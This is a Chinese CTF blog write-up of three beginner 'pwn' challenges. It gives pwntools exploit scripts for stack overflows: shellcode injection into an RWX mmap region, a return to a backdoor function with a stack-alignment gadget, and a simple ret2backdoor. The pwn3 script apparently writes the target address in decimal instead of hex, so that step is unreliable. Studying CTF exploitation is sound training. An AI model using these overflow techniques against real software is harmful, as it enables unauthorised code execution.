第一周pwn的题目

目录

1pwn

2.pwn1

3.pwn3


题目链接:

链接:https://pan.baidu.com/s/1Hgv6ABokKJzpiu44cNozaQ?pwd=eazw 
提取码:eazw 
 

1pwn

checksec pwn查看保护措施

file pwn查看文件格式

ida反编译出来查看

buf = mmap((void *)0x233000, 0x1000uLL, 7, 34, -1, 0LL);这里是将buf的数据位置写入mmap分配的位置0x233000

获取rbp到rsp的距离位0xb0-0x80为48位,再加上需要填充8位垃圾数据给寄存器,

exp就为

from pwn import *

io = process("./pwn")
context(os = 'linux',arch = 'amd64',log_level='debug')
buf = 0x233000
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)  #将构造的shellcode写入buf
payload =b'a'*56+p64(buf)
io.sendline(payload)
io.interactive()
 

2.pwn1

checksec pwn1查看保护机制

file pwn1查看文件格式

ida分析

gdb调试

from pwn import *
context.arch = "amd64"
io = process("./pwn1")

payload = b'a'*23 + p64(0x40201B)
io.sendline(payload)
io.interactive()

后面exp打不通需要我们栈对齐后再打

最后的完整exp

from pwn import *
context.arch = "amd64"
io = process("./pwn1")
ret =0x401016
payload = b'a'*23 +p64(ret)+ p64(0x40201B)
io.sendline(payload)
io.interactive()

3.pwn3

checksec pwn3先看看保护措施

file pwn3查看文件格式

gdb pwn3 动态调试给主函数打断点(我已经ida看过了确定主函数存在栈溢出)

找到rbp距离rsp的距离

外加64位寄存器本身需要填充的8位垃圾数据,ida中有后门函数地址

可构建exp

from pwn import *
context.arch = "amd64"
io = process("./pwn3")


payload =  b'A'*40+p64(401186)
io.sendline(payload)
io.interactive()

获取flag

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

渗透者:'

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值